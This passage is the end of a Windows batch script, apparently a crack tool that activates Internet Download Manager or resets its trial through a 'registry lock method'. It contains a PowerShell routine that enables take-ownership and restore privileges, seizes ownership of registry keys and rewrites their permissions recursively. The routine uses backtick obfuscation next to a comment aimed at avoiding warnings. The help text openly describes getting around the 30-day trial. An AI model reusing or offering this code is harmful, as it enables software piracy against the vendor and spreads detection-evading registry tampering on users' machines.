    ::========================================================================================================================================
    
    ::  A lean and mean snippet to set registry ownership and permission recursively
    ::  Written by @AveYo aka @BAU
    ::  pastebin.com/XTPt0JSC
    
    :reg_own
    
    %_psc% $A='%~1','%~2','%~3','%~4','%~5','%~6';iex(([io.file]::ReadAllText('!_batp!')-split':Own1\:.*')[1])&exit/b:Own1:
    $D1=[uri].module.gettype('System.Diagnostics.Process')."GetM`ethods"(42) |where {$_.Name -eq 'SetPrivilege'} #`:no-ev-warn
    'SeSecurityPrivilege','SeTakeOwnershipPrivilege','SeBackupPrivilege','SeRestorePrivilege'|foreach {$D1.Invoke($null, @("$_",2))}
    $path=$A[0]; $rk=$path-split'\\',2; $HK=gi -lit Registry::$($rk[0]) -fo; $s=$A[1]; $sps=[Security.Principal.SecurityIdentifier]
    $u=($A[2],'S-1-5-32-544')[!$A[2]];$o=($A[3],$u)[!$A[3]];$w=$u,$o |% {new-object $sps($_)}; $old=!$A[3];$own=!$old; $y=$s-eq'all'
    $rar=new-object Security.AccessControl.RegistryAccessRule( $w[0], ($A[5],'FullControl')[!$A[5]], 1, 0, ($A[4],'Allow')[!$A[4]] )
    $x=$s-eq'none';function Own1($k){$t=$HK.OpenSubKey($k,2,'TakeOwnership');if($t){0,4|%{try{$o=$t.GetAccessControl($_)}catch{$old=0}
    };if($old){$own=1;$w[1]=$o.GetOwner($sps)};$o.SetOwner($w[0]);$t.SetAccessControl($o); $c=$HK.OpenSubKey($k,2,'ChangePermissions')
    $p=$c.GetAccessControl(2);if($y){$p.SetAccessRuleProtection(1,1)};$p.ResetAccessRule($rar);if($x){$p.RemoveAccessRuleAll($rar)}
    $c.SetAccessControl($p);if($own){$o.SetOwner($w[1]);$t.SetAccessControl($o)};if($s){$subkeys=$HK.OpenSubKey($k).GetSubKeyNames()
    foreach($n in $subkeys){Own1 "$k\$n"}}}};Own1 $rk[1];if($env:VO){get-acl Registry::$path|fl} #:Own1: lean & mean snippet by AveYo
    
    ::========================================================================================================================================
    
    :_color
    
    if %winbuild% GEQ 10586 (
    echo %esc%[%~1%~2%esc%[0m
    ) else (
    call :batcol %~1 "%~2"
    )
    exit /b
    
    :_color2
    
    if %winbuild% GEQ 10586 (
    echo %esc%[%~1%~2%esc%[%~3%~4%esc%[0m
    ) else (
    call :batcol %~1 "%~2" %~3 "%~4"
    )
    exit /b
    
    ::=======================================
    
    :: Colored text with pure batch method
    
    :: Powershell is not used here because its slow
    
    :batcol
    
    pushd %_coltemp%
    if not exist "'" (<nul >"'" set /p "=.")
    setlocal
    set "s=%~2"
    set "t=%~4"
    call :_batcol %1 s %3 t
    del /f /q "'"
    del /f /q "`.txt"
    popd
    exit /b
    
    :_batcol
    
    setlocal EnableDelayedExpansion
    set "s=!%~2!"
    set "t=!%~4!"
    for /f delims^=^ eol^= %%i in ("!s!") do (
      if "!" equ "" setlocal DisableDelayedExpansion
        >`.txt (echo %%i\..\')
        findstr /a:%~1 /f:`.txt "."
        <nul set /p "=%_BS%%_BS%%_BS%%_BS%%_BS%%_BS%%_BS%"
    )
    if "%~4"=="" echo(&exit /b
    setlocal EnableDelayedExpansion
    for /f delims^=^ eol^= %%i in ("!t!") do (
      if "!" equ "" setlocal DisableDelayedExpansion
        >`.txt (echo %%i\..\')
        findstr /a:%~3 /f:`.txt "."
        <nul set /p "=%_BS%%_BS%%_BS%%_BS%%_BS%%_BS%%_BS%"
    )
    echo(
    exit /b
    
    ::=======================================
    
    :_colorprep
    
    if %winbuild% GEQ 10586 (
    for /F %%a in ('echo prompt $E ^| cmd') do set "esc=%%a"
    
    set     "Red="41;97m""
    set    "Gray="100;97m""
    set   "Black="30m""
    set   "Green="42;97m""
    set    "Blue="44;97m""
    set  "Yellow="43;97m""
    set "Magenta="45;97m""
    
    set    "_Red="40;91m""
    set  "_Green="40;92m""
    set   "_Blue="40;94m""
    set  "_White="40;37m""
    set "_Yellow="40;93m""
    
    exit /b
    )
    
    if not defined _BS for /f %%A in ('"prompt $H&for %%B in (1) do rem"') do set "_BS=%%A %%A"
    set "_coltemp=%SystemRoot%\Temp"
    
    set     "Red="CF""
    set    "Gray="8F""
    set   "Black="00""
    set   "Green="2F""
    set    "Blue="1F""
    set  "Yellow="6F""
    set "Magenta="5F""
    
    set    "_Red="0C""
    set  "_Green="0A""
    set   "_Blue="09""
    set  "_White="07""
    set "_Yellow="0E""
    
    exit /b
    
    ::========================================================================================================================================
    
    :txt:
    _________________________________
    
       Activation:
    _________________________________
    
     - This tool applies registry lock method to activate Internet download manager (IDM).
    
     - This method requires Internet at the time of activation.
    
     - IDM updates can be installed directly without having to activate again.
    
     - After the activation, if in some case, the IDM starts to show activation nag screen, 
       then just run the activation option again.
    
    _________________________________
    
       Reset IDM Activation / Trial:
    _________________________________
    
     - Internet download manager provides 30 days trial period, you can use this script to 
       reset this Activation / Trial period whenever you want.
    
     - This option also can be used to restore status if in case the IDM reports fake serial
       key and other similar errors.
    
    _________________________________
    
       OS requirement:
    _________________________________
    
     - Project is supported only for Windows 7/8/8.1/10/11 and their Server equivalent.
    
    _________________________________
    
     - Troubleshooting steps:
    _________________________________
    
     - If any other activator was used to activate IDM previously then make sure to properly
       uninstall it with that same activator (if there is an option), this is especially important
       if any registry / firewall block method was used.
    
     - Uninstall the IDM from control panel.
    
     - Make sure the latest original IDM setup is used for the installation,
       you can download it from https://www.internetdownloadmanager.com/download.html
    
     - Now install the IDM and use the activate option.
    
    ____________________________________________________________________________________________________
    :txt:
    
    ::========================================================================================================================================